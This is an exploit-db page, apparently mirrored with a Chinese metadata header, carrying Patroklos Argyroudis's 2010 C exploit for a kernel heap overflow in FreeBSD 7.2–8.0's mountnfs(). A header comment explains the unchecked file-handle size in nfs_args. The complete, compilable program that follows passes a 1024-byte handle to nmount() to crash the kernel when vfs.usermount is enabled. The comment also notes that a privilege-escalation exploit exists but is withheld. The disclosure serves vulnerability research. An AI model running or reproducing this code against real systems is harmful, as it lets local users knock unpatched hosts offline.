FreeBSD – ‘mountnfs()’ Denial of Service

  • 作者: Patroklos Argyroudis
    日期: 2010-06-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14003/
  • /*
     * mountnfsex.c -- Patroklos Argyroudis, argp at domain census-labs.com
     *
     * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2.
     *
     * Discovered and exploited by Patroklos (argp) Argyroudis.
     *
     * The vulnerability is in mountnfs() which is reachable by the mount(2)
     * and nmount(2) system calls.In order for them to be enabled for
     * unprivileged users the sysctl(8) variable vfs.usermount must be set to
     * a non-zero value.
     *
     * mountnfs() employs an insufficient input validation method for copying
     * data passed in the struct nfs_args from userspace to kernel.
     * Specifically, the file handle to be mounted (nfs_args.fh) and its size
     * (nfs_args.fhsize) are completely user-controllable.In file
     * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE:
     *
     * 1219 bcopy((caddr_t)argp->fh, (caddr_t)nmp->nm_fh, argp->fhsize);
     *
     * The above can cause a kernel heap overflow when argp->fh is bigger than
     * 128 bytes (the size of nmp->nm_fh) since nmp is an allocated item on
     * the UMA zone nfsmount_zone (again from sys/nfsclient/nfs_vfsops.c):
     *
     * 1164 struct nfsmount *nmp;
     *...
     * 1175 nmp = uma_zalloc(nfsmount_zone, M_WAITOK);
     *
     * The result is a kernel crash/denial-of-service.I have developed a code
     * execution/privilege escalation exploit, but I will not release it at this
     * point.7.1-RELEASE and earlier do not seem to be vulnerable since the
     * bug was introduced in 7.2-RELEASE.
     *
     * $Id: mountnfsex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $
     */
    
    #include <sys/param.h>
    #include <sys/mount.h>
    #include <sys/uio.h>
    #include <err.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sysexits.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <errno.h>
    
    #define BUFSIZE 1024
    
    #define FSNAME"nfs"
    #define DIRPATH "/tmp/nfs"
    
    int
    main()
    {
    struct iovec iov[8];
    
    mkdir(DIRPATH, 0700);
    
    iov[0].iov_base = "fstype";
    iov[0].iov_len = strlen(iov[0].iov_base) + 1;
    
    iov[1].iov_base = FSNAME;
    iov[1].iov_len = strlen(iov[1].iov_base) + 1;
    
    iov[2].iov_base = "fspath";
    iov[2].iov_len = strlen(iov[2].iov_base) + 1;
    
    iov[3].iov_base = DIRPATH;
    iov[3].iov_len = strlen(iov[3].iov_base) + 1;
    
    iov[4].iov_base = "fh";
    iov[4].iov_len = strlen(iov[4].iov_base) + 1;
    
    iov[5].iov_base = calloc(BUFSIZE, sizeof(char));
    
    if(iov[5].iov_base == NULL)
    {
    perror("calloc");
    rmdir(DIRPATH);
    exit(EXIT_FAILURE);
    }
    
    memset(iov[5].iov_base, 0x41, (BUFSIZE - 1));
    iov[5].iov_len = BUFSIZE;
    
    iov[6].iov_base = "hostname";
    iov[6].iov_len = strlen(iov[6].iov_base) + 1;
    
    iov[7].iov_base = "census-labs.com";
    iov[7].iov_len = strlen(iov[7].iov_base) + 1;
    
    printf("[*] calling nmount()\n");
    
    if(nmount(iov, 8, 0) < 0)
    {
    fprintf(stderr, "[!] nmount error: %d\n", errno);
    perror("nmount");
    rmdir(DIRPATH);
    free(iov[5].iov_base);
    exit(1);
    }
    
    printf("[*] unmounting and deleting %s\n", DIRPATH);
    
    unmount(DIRPATH, 0);
    rmdir(DIRPATH);
    free(iov[5].iov_base);
    
    return 0;
    }
    
    /* EOF */